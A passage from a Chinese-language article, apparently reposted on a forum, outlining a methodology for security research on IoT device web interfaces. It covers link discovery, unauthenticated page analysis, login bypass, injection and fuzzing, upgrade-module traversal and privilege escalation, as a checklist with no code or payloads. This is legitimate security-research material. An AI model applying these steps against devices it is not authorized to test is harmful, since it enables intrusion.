可 访 问 链 接 ( 位 置 ) 通 过 固 件 提 取 等 目 录 ( 如 果 存 在 文 件 系 统 ) 或 者 D i r b u s t e r / d i r s e a r c h 等 工 具 探 索 w e b 所 有 可 以 访 问 的 链 接 和 位 置 ， 这 些 链 接 ( 位 置 ) 有 哪 些 参 数 。 未 授 权 页 面 这 些 w e b 链 接 ( 位 置 ) 是 否 存 在 未 授 权 就 可 以 访 问 的 页 面 。 所 有 功 能 & 新 特 性 该 设 备 具 有 哪 些 ( w e b ) 功 能 ， 是 否 存 在 比 较 新 或 者 实 现 功 能 复 杂 的 特 性 ( s s l - v p n / h t m l 5 / g u a c a m o l e / 云 管 理 等 等 ) 2 . 3 . 2   认 证 前 分 析 认 证 前 分 析 认 证 前 分 析 主 要 针 对 未 授 权 就 可 以 访 问 的 页 面 ( 位 置 ) ， 同 时 对 登 录 过 程 作 一 些 分 析 。 工 具 扫 描 在 不 提 供 登 录 凭 据 对 情 况 下 利 用 a p p s c a n 、 b u r p s u i t e 等 工 具 扫 描 ， 通 过 I D A / g h i d r a ( 脚 本 ) 查 看 w e b 模 块 是 否 存 在 硬 编 码 。 代 码 审 计 分 析 未 授 权 访 问 页 面 ( 位 置 ) 的 实 现 模 块 ， 根 据 实 际 情 况 进 行 ( 二 进 制 ) 代 码 危 险 函 数 审 计 ， 回 溯 是 否 可 利 用 ， 可 利 用 I D A / g h i d r a ( 脚 本 ) 辅 助 ， 列 出 危 险 函 数 和 其 参 数 。 动 态 测 试 分 析 ( 或 爆 破 ) 页 面 ( 位 置 ) 可 接 受 的 参 数 ， 进 行 动 态 f u z z 。 登 录 绕 过 分 析 登 录 实 现 模 块 ， 看 有 没 直 接 绕 过 的 可 能 性 。 公 开 漏 洞 验 证 如 果 存 在 公 开 漏 洞 ， 验 证 在 设 备 上 是 否 可 以 复 现 ， 还 可 以 针 对 补 丁 的 有 效 性 作 研 究 。 2 . 3 . 3   认 证 后 分 析 认 证 后 分 析 认 证 后 分 析 针 对 所 有 可 以 访 问 的 位 置 ， 着 重 在 有 输 入 和 提 供 参 数 的 地 方 作 研 究 。 工 具 扫 描 提 供 登 录 凭 据 后 利 用 a p p s c a n 、 b u r p s u i t e 等 工 具 扫 描 。
公 开 漏 洞 验 证 同 认 证 前 分 析 。 验 证 输 入 所 有 用 户 可 以 输 入 的 位 置 ， 是 否 可 以 命 令 注 入 / 参 数 注 入 ， 如 果 有 过 滤 ， 是 否 可 以 绕 过 ； 利 用 f u z z 工 具 探 测 入 的 位 置 是 否 存 在 内 存 溢 出 ， 当 然 也 可 以 直 接 ( 二 进 制 ) 代 码 审 计 。 功 能 参 数 所 有 请 求 参 数 的 内 容 是 否 可 以 注 入 ， 包 括 h t t p   h e a d e r 中 的 内 容 ， 可 以 通 过 脚 本 实 现 ， 也 可 以 手 动 探 测 。 代 码 审 计 同 认 证 前 分 析 。 升 级 模 块 升 级 模 块 是 否 对 升 级 包 严 格 校 验 ， 升 级 等 能 上 传 文 件 的 功 能 模 块 是 否 可 以 目 录 穿 越 。 权 限 提 升 如 果 w e b 功 能 存 在 漏 洞 但 运 行 在 低 权 限 下 ， 能 否 利 用 r p c / s o c k e t / s u i d / 溢 出 等 方 法 提 权 。 2 . 4   总 结 总 结 I O T   w e b 还 是 w e b ， 对 其 安 全 研 究 本 质 上 与 传 统 w e b 没 什 么 不 同 。 尤 其 有 些 设 备 未 提 供 更 好 的 服 务 在 w e b 上 运 用 了 较 为 复 杂 的 功 能 ， 进 一 步 增 加 的 安 全 风 险 ， 也 将 I O T   w e b 研 究 和 传 统 w e b 拉 的 更 近 。 但 也 可 以 看 到 I O T   w e b 也 有 其 独 有 的 特 点 ， 很 多 情 况 下 更 偏 重 多 架 构 下 的 二 进 制 分 析 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理